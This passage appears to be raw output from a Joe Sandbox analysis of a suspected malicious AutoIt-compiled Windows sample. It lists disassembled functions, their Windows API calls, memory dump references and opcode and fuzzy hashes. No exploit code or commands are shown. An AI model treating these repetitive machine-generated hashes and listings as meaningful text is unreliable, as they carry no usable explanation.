                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CloseCreateDialogHandleNtdllProc_Process
                                      • String ID:
                                      • API String ID: 4178364262-0
                                      • Opcode ID: 3e88612e8fdcd33e8979c16b18d0b08a65c7b32078f6943f43c6aaf629f1ad06
                                      • Instruction ID: c6f33e024a3d098a8e9af79a1f5f6b34b17a7bddfd6bc161276e4c517e2b06d2
                                      • Opcode Fuzzy Hash: 3e88612e8fdcd33e8979c16b18d0b08a65c7b32078f6943f43c6aaf629f1ad06
                                      • Instruction Fuzzy Hash: B5E08C71124208EFCB41DF04ED44E8A3776FB08350F004040FA10572B1C772ADA0EF10
                                      Function 008CA119 Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CB021: GetWindowLongW.USER32(?,000000EB), ref: 008CB032
                                        • Part of subcall function 008CA142: DestroyWindow.USER32(?), ref: 008CA1F6
                                        • Part of subcall function 008CA142: KillTimer.USER32(00000000,?,?,?,?,008CA12F,00000000,?), ref: 008CA290
                                      • NtdllDialogWndProc_W.NTDLL(?,00000002,00000000,00000000,00000000,?), ref: 008CA138
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$DestroyDialogKillLongNtdllProc_Timer
                                      • String ID:
                                      • API String ID: 2797419724-0
                                      • Opcode ID: c3cb96f2ced178c5cc485a44bd08d1386888827d186caed8bacf3d5b93bff673
                                      • Instruction ID: 77274958bf1dba52007ebb2431b4c3b0549c957312b325a88a35bfba5218a0cf
                                      • Opcode Fuzzy Hash: c3cb96f2ced178c5cc485a44bd08d1386888827d186caed8bacf3d5b93bff673
                                      • Instruction Fuzzy Hash: 3CD01270184708B7EB203BA4DC07F593A2DEB05B90F408015B605791D2CA72E8D0555A
                                      Function 008D0955 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                      Download Yara Rule
                                      APIs
                                      • SetUnhandledExceptionFilter.KERNEL32(Function_00020961,008D036E), ref: 008D095A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ExceptionFilterUnhandled
                                      • String ID:
                                      • API String ID: 3192549508-0
                                      • Opcode ID: 6ae624b131b2e3f1ab2f9e3f07b397b17d6efb9f0ba48182d7de71ce156ab695
                                      • Instruction ID: 9125de849613292c88843469b61541adf5a8c84786c4f6e52a99044f734558b2
                                      • Opcode Fuzzy Hash: 6ae624b131b2e3f1ab2f9e3f07b397b17d6efb9f0ba48182d7de71ce156ab695
                                      • Instruction Fuzzy Hash:
                                      Function 008D77AB Relevance: 1.5, Strings: 1, Instructions: 214COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID: 0
                                      • API String ID: 0-4108050209
                                      • Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
                                      • Instruction ID: d83133d492bbcffa964fc626a4ccd883ff4cbd452acf7f0f964c7ddd17b33bdb
                                      • Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
                                      • Instruction Fuzzy Hash: 8751597264C64966DB38566C896DBBF67D9FB02304F180B2BD882C7382FA05DD01E35A
                                      Function 008E6D79 Relevance: .6, Instructions: 637COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 96e9917c9115db08712cc0aa05fbeeaa200a3fc3470f1b2bb02917a7b456fe61
                                      • Instruction ID: 01a1945b0df38e272412ab4d44e0d84c3cedee062ba7d0b723ce250c18cb12f1
                                      • Opcode Fuzzy Hash: 96e9917c9115db08712cc0aa05fbeeaa200a3fc3470f1b2bb02917a7b456fe61
                                      • Instruction Fuzzy Hash: 2E32F322D2DF814DD7239636DC22336A249FFB73C5F15D727E81AB5AA5EB29C4835200
                                      Function 008CD3B5 Relevance: .6, Instructions: 635COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: e9f2895c064512a8adedb90fe6023fe4fbb6e9d2d13e74a10786bb8b582c7e63
                                      • Instruction ID: e618150b368b348321b80e33324eac6267885d4b9120143dea1329258a0c4b94
                                      • Opcode Fuzzy Hash: e9f2895c064512a8adedb90fe6023fe4fbb6e9d2d13e74a10786bb8b582c7e63
                                      • Instruction Fuzzy Hash: 44324272A052068FCF289BACC490A7C77B5FF41304F68853AE996CB6D1D734ED81DA41
                                      Function 008B92A0 Relevance: .6, Instructions: 564COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 2705e0f030bd2363455ffef633c8dcdf7aab7272d04650b7c28afbed590032fe
                                      • Instruction ID: 1f5840f72abdf43d3133a6e0f48dd55e7faea661819a5e317845a401d491c2d2
                                      • Opcode Fuzzy Hash: 2705e0f030bd2363455ffef633c8dcdf7aab7272d04650b7c28afbed590032fe
                                      • Instruction Fuzzy Hash: 73229E70A006099BDF14CFA8C981AEEB7F5FF48300F204629EA56E7391EB35A955CB51
                                      Function 008BAB30 Relevance: .5, Instructions: 475COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fa93dd2c8d3bc42bc0ccf7db6c951c40ca24bd0307d713e39360a4f5a6a4db5a
                                      • Instruction ID: c55e22e2a46e1c08a520b2c46b77e4aa2710bde8dbafa430fae5341708c233d0
                                      • Opcode Fuzzy Hash: fa93dd2c8d3bc42bc0ccf7db6c951c40ca24bd0307d713e39360a4f5a6a4db5a
                                      • Instruction Fuzzy Hash: AA02A5B1A00209EBDB05DF64D841BAEBBB1FF44344F108179EA16DB391EB31EA55CB91
                                      Function 008D1940 Relevance: .2, Instructions: 240COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
                                      • Instruction ID: 44877886b4e63f9922efba7aae96c29e441c36bc20746654dfe6aa473320faf0
                                      • Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
                                      • Instruction Fuzzy Hash: 8F9140722090A36ADF2D467A857C03EFFE1EE523B535A079FD4F2CA2C1FE1495649620
                                      Function 008D79DA Relevance: .2, Instructions: 237COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 3bc85a34d49bb786f7dbbba24ff4151541380806bd07edab6346d9a6491ad34b
                                      • Instruction ID: 09985906e8a37c87f43654177ed756654146148fcdafb4e646ed9ef0ccbfe0cc
                                      • Opcode Fuzzy Hash: 3bc85a34d49bb786f7dbbba24ff4151541380806bd07edab6346d9a6491ad34b
                                      • Instruction Fuzzy Hash: 2461787124872A66DE349AAC4C92BBE7398FF01358F540B1BE842DB3C1FA11DF428356
                                      Function 008D1696 Relevance: .2, Instructions: 232COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
                                      • Instruction ID: 4c426b27693cc193b4923da30d1be7a200bde6f67f60329a78b7769a457c34f3
                                      • Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
                                      • Instruction Fuzzy Hash: A78178722080A35ADF698279857C43EFFE1AE523A131A07AFD4F2CB3D5EE14C554E620
                                      Function 00BE3560 Relevance: .1, Instructions: 92COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                      • Instruction ID: 20b0f9698f8604eddd84aa00ab6db6cc0e5ff0de404a9391640f70aa9e586481
                                      • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                      • Instruction Fuzzy Hash: D841C271D1051CEBCF48CFADC991AAEBBF2AF88201F548299D516AB345D730AB41DB40
                                      Function 00BE33F0 Relevance: .0, Instructions: 35COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                      • Instruction ID: 91eb1dc831b940c89717973c15d8620932f7038562f3a785d4e88c6459686567
                                      • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                      • Instruction Fuzzy Hash: 8401C078A00109EFCB45DF99C5909AEF7F5FF48710B2081D9E809A7341D730AE42DB80
                                      Function 00BE3450 Relevance: .0, Instructions: 35COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                      • Instruction ID: bb79f6a093eaba9a8e1fa7abb14691d924b435ed2c6fd1ada31c930f336dc54c
                                      • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                      • Instruction Fuzzy Hash: DA018078A00109EFCB45DF99C5949AEF7F5FB48710B2086D9E919A7341E730AE41DB80
                                      Function 00BE1DD0 Relevance: .0, Instructions: 6COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1741246029.0000000000BDF000.00000040.00000020.00020000.00000000.sdmp, Offset: 00BDF000, based on PE: false
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_bdf000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                      • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                      • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                      • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                      Function 00932A05 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • DeleteObject.GDI32(00000000), ref: 00932A57
                                      • DeleteObject.GDI32(00000000), ref: 00932A6A
                                      • DestroyWindow.USER32 ref: 00932A79
                                      • GetDesktopWindow.USER32 ref: 00932A94
                                      • GetWindowRect.USER32(00000000), ref: 00932A9B
                                      • SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00932BCA
                                      • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00932BD8
                                      • CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00932C1F
                                      • GetClientRect.USER32(00000000,?), ref: 00932C2B
                                      • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00932C67
                                      • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00932C89
                                      • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00932C9C
                                      • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00932CA7
                                      • GlobalLock.KERNEL32(00000000), ref: 00932CB0
                                      • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00932CBF
                                      • GlobalUnlock.KERNEL32(00000000), ref: 00932CC8
                                      • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00932CCF
                                      • GlobalFree.KERNEL32(00000000), ref: 00932CDA
                                      • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00932CEC
                                      • OleLoadPicture.OLEAUT32(?,00000000,00000000,0094FC54,00000000), ref: 00932D02
                                      • GlobalFree.KERNEL32(00000000), ref: 00932D12
                                      • CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00932D38
                                      • SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00932D57
                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00932D79
                                      • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00932F66
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                      • String ID: $AutoIt v3$DISPLAY$static
                                      • API String ID: 2211948467-2373415609
                                      • Opcode ID: d7597169bf9ff525fb6a8df3517a1fd2b62f90de1e4edae713d7e26a34e26369
                                      • Instruction ID: 024bd20b1305b50a2987ed1404b02306b6e9ccf16c36cd776a63fe891eb3dcda
                                      • Opcode Fuzzy Hash: d7597169bf9ff525fb6a8df3517a1fd2b62f90de1e4edae713d7e26a34e26369
                                      • Instruction Fuzzy Hash: DF025975A10205EFDB14DFA8CC89EAE7BB9FB49710F008159F915AB2A1CB70AD01DF60
                                      Function 00946FA4 Relevance: 49.8, APIs: 33, Instructions: 273COMMON
                                      Download Yara Rule
                                      APIs
                                      • SetTextColor.GDI32(?,00000000), ref: 00946FFE
                                      • GetSysColorBrush.USER32(0000000F), ref: 0094702F
                                      • GetSysColor.USER32(0000000F), ref: 0094703B
                                      • SetBkColor.GDI32(?,000000FF), ref: 00947055
                                      • SelectObject.GDI32(?,?), ref: 00947064
                                      • InflateRect.USER32(?,000000FF,000000FF), ref: 0094708F
                                      • GetSysColor.USER32(00000010), ref: 00947097
                                      • CreateSolidBrush.GDI32(00000000), ref: 0094709E
                                      • FrameRect.USER32(?,?,00000000), ref: 009470AD
                                      • DeleteObject.GDI32(00000000), ref: 009470B4
                                      • InflateRect.USER32(?,000000FE,000000FE), ref: 009470FF
                                      • FillRect.USER32(?,?,?), ref: 00947131
                                      • GetWindowLongW.USER32(?,000000F0), ref: 00947153
                                        • Part of subcall function 009472B7: GetSysColor.USER32(00000012), ref: 009472F0
                                        • Part of subcall function 009472B7: SetTextColor.GDI32(?,?), ref: 009472F4
                                        • Part of subcall function 009472B7: GetSysColorBrush.USER32(0000000F), ref: 0094730A
                                        • Part of subcall function 009472B7: GetSysColor.USER32(0000000F), ref: 00947315
                                        • Part of subcall function 009472B7: GetSysColor.USER32(00000011), ref: 00947332
                                        • Part of subcall function 009472B7: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00947340
                                        • Part of subcall function 009472B7: SelectObject.GDI32(?,00000000), ref: 00947351
                                        • Part of subcall function 009472B7: SetBkColor.GDI32(?,00000000), ref: 0094735A
                                        • Part of subcall function 009472B7: SelectObject.GDI32(?,?), ref: 00947367
                                        • Part of subcall function 009472B7: InflateRect.USER32(?,000000FF,000000FF), ref: 00947386
                                        • Part of subcall function 009472B7: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0094739D
                                        • Part of subcall function 009472B7: GetWindowLongW.USER32(00000000,000000F0), ref: 009473AA
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
                                      • String ID:
                                      • API String ID: 4124339563-0
                                      • Opcode ID: 7bdeda6f4afd7a9046ef74e83894dd9847b7d6ac506e30e18656522fe90c2536
                                      • Instruction ID: 0977785ecce3b17f8c25c1d357b26c4301c83d8f24442e83520f9492928e96dd
